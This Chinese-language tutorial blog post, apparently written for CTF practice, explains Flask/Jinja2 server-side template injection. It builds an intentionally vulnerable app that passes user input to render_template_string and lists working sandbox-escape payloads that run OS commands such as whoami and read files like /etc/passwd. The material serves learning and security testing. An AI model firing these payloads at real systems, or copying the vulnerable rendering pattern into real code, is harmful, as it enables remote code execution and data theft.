Flask是一个轻量级的可定制框架,使用Python语言编写,较其他同类型框架更为灵活、轻便、安全且容易上手。它可以很好地结合MVC模式进行开发,开发人员分工合作,小型团队在短时间内就可以完成功能丰富的中小型网站或Web服务的实现。
Flask最重要的特点。Flask的两个主要核心应用是Werkzeug和模板引擎Jinja。
我用的是windows系统,在装有python的系统上,直接打开cmd窗口,我们输入一下命令:
pip install Flask
窗口上显示成功就代表安装成功了。下面我们就去写一个app.py吧
想要了解它的SSTI必须要了解它的一些知识,知己知彼方能百战百胜,对吧。这是一个最简单的一个flask应用:
#app.py
from flask import Flask #导入Flask类
app = Flask(__name__) #初始化一个app实例
@app.route(“/”) #注册路由
def hello_world(): #定义view函数
return “Hello Flask!” #返回值
If __name__ == “__main__”: #启动Flask应用
app.run(debug=True) #开启debug模式
这里第一句是注释,然后导入Flask类,用Flask(name)去初始化一个app实例。@app.route("/")注册路由,紧接着下面就是该路由的视图函数,返回值,就是页面渲染的东西,if name == “main”:就是一个入口,启动Flask应用,然后app.run(debug=true),运行该app并设置debug=ture;
默认会开启一个本地的5000端口,来启动这个应用,我们可以访问这个网址,然后我们就可以看到所渲染的页面
这样,我们的一个app.py就写好了。return返回的就是我们的数据。于是我们进一步测试
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
html = "hello %s " % 'world'
return html
if __name__=="__main__":
app.run(debug=True)
页面上就可以渲染,hello world这个字符串。我们想一下如果world是一个可变的参数,会发生什么呢?
from flask import Flask,request
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get("name")
html = "Hello %s" %(name)
return html
if __name__ == "__main__":
app.run(debug=True)
这里我们需要处理请求的机制(request),用于接受用户请求。直接导入即可。
我们尝试就行xss弹窗测试,发现居然存在。然后我们的测试在这告一段落。后续再说这个
Flask的目录结构
venv ------>里面装有一个python的虚拟环境。
static ------>js目录、css目录、img目录等等,这些文件夹下可以有文档。我画不出来那个架构图。球球放过我
templates ------>index.html、login.html、resigster.html等等
app.py
下面就附一张图吧。最基础的目录
好了,为什么要说这个呢?原因是我想说两个函数,跟我们的SSTI模板有关系。
render_template(“templates文件夹下模板的名字”[,想要传递的参数等],[…])
render_template_string(需要被渲染的东西)
这两个函数在使用之前,我们需要从Flask种导入,同request
#我们在之前的代码注册如下路由及视图函数
@app.route("/login")
def login():
return render_template("login.html")
#login.html内容,我只写了中的内容
<h1>hello 欢迎来到login页面</h1>
然后我们访问如下路由,http://127.0.0.1/login则显示如下页面,说明我们的render_template_string()函数成功渲染
下面,我们再来看看render_template_string()函数
#我们将上面的函数改为如下
@app.route("/login")
def login():
name = request.args.get("name","guest")
html = '''
hello %s
''' %name
return render_template_string(html)
访问此页面,发现html字符串也被渲染,然后我们给name传入一个参数,junlebao,页面如下
然后这两个函数说完,我们再说一下,Flask的语法
Flask使用jinja2作为渲染模板。语法如下:
{
%...%} #用于语句if else语句 for ...endfor语句等
{
{
...}} #用于表达式,对其进行解析,并打印到模板输出。{
{
{
{config}}}}--->则只解析一层
{
{
#...#}} #用于注释,中间的就是注释语句
这个了解完之后,再了解下python中的一些魔术方法:
__class__ #返回该对象所属的类
__base__ #字符串形式返回该对象的基类
__mro__ #返回解析方法调用的顺序,按照子类到父父类的顺序返回所有类,元组的形式
__subclasses__ #获取类的所有子类
__init__ #基本上所有的类都包含init方法,常用于当作跳板来调用globals
__globals__ #以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init使用
知道了这些,我们再看看,render_template_string()函数的变量可控,我们又了解到{ {}}内的东西会被解析,于是我们尝试去传入参数,?name={ {4*5}},如果能够被解析,那是不是就可以得到20呢?不出意外我们得到了20
于是我们这次,Flask的配置信息,配置信息在config变量中,于是我们尝试传入?name={ {config}},得到配置信息
我们会发现,如果存在SSTI注入,该有多可怕,配置信息被看的一览无遗。下面,我们继续尝试另外的一种Flask的沙盒绕过我们继续构造payload:
# {
{''.__class__}}
return: hello <class 'str'>
#{
{''.__class__.__base__}}
return: hello <class 'object'>
#{
{''.__class__.__mro__}}
return: hello (<class 'str'>, <class 'object'>)
#{
{''.__class__.__mro__[1].__subclasses__()}}
return: hello [<class 'type'>, ...... <class 'unicodedata.UCD'>]#很多子类,这里不贴出来了,一个开始一个结尾
#至于为什么我们要列出来所有的子类呢?是为了找到能够执行系统命令的函数例如:eval()、system()、popen()等函数这些函数呢,在os模块当中。于是我们就可以去寻找带有os模块的类。
eval()能够将括号里面的内容当代码去执行
system()调用一个shell窗口去执行命令
popen()打开或者读取一个文件
#例如:在windows下使用python调用系统命令,首先需要导入os模块
import os
os.system("whoami") #返回当前用户
os.popen("type flag.txt").read() #只读方式打开flag.txt文件
os.eval
# eval是python的内置函数,可直接使用
eval("[].__class__") #返回
等
知道了这些,我们就可以进行下一步了,这里面的子类很多,我们该如何去寻找带有os模块的类或者模块呢?
lists = "你查询出来的数组,将它构造成一个数组字符串"
search = "os" #模块中带有的关键词
count = 0 #索引,即下标
for i in lists:
if search in i:
print(count,i)
count += 1
#打印结果如下:
138 <class 'os._wrap_close'>
139 <class 'os._AddedDllDirectory'>
213 <class 'tempfile._TemporaryFileCloser'>
401 <class 'werkzeug.wsgi.ClosingIterator'>
于是我们就利用138这个模块,构造如下payload:
# {
{''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__["popen"]("type flag").read()}}
# 这个其实可以执行很多命令的,比如whoami,dir等
# 我只是查看了一个文件的内容,结合一下ctf中,我们如何去拿到该目录下的一些flag文件等
这样我们就逃逸了Flask的沙盒机制了。当然我们也可以利用它,反向shell,拿到shell窗口进行一些操作等。
下面,我列举出可以利用的一些模块,这是我总结出来的一些,大家可以拿来用。
#python3
**os._wrap_close类中的popen**
payload:{
{
"".__class__.__base__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
**__import__中的os**
payload:{
{
"".__class__.__base__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
#python2
**file类,直接用.read()或readlines()读取数据**
payload:{
{
().__class__.__base__[0].__subclasses__()[40]('/etc/passwd').read()}}
**warnings类中的linecache**
payload:{
{
[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].os.popen('whoami').read()}}
注意:python2中使用,否则会报错
#python2&python3共有
#__builtins__是一个包含了大量内置函数的一个模块,可以在python中使用dir(__builtins__)来查看调用的方法。这里面有我们想要的执行命令的函数
**__builtins__内置函数**
payload1:{
{
().__class__.__base__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}}
payload2:{
{
().__class__.__base__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
等等
**warnings.catch_warnings类**
payload:{
{
''.__class__.__mro__[1].__subclasses__()[40]()._module.__builtins__['__import__']("os").popen('whoami').read()}}
注意 :上面的payload中的基类,和index的下标,根据自己查出来的位置为准,这仅是参考样例。
好了,暂时就总结到这里,下面我将结合一些ctf的题型,来对其进行绕过讲解等。文章就写到这里了。学习起来时间过的是真的快。我们下回见。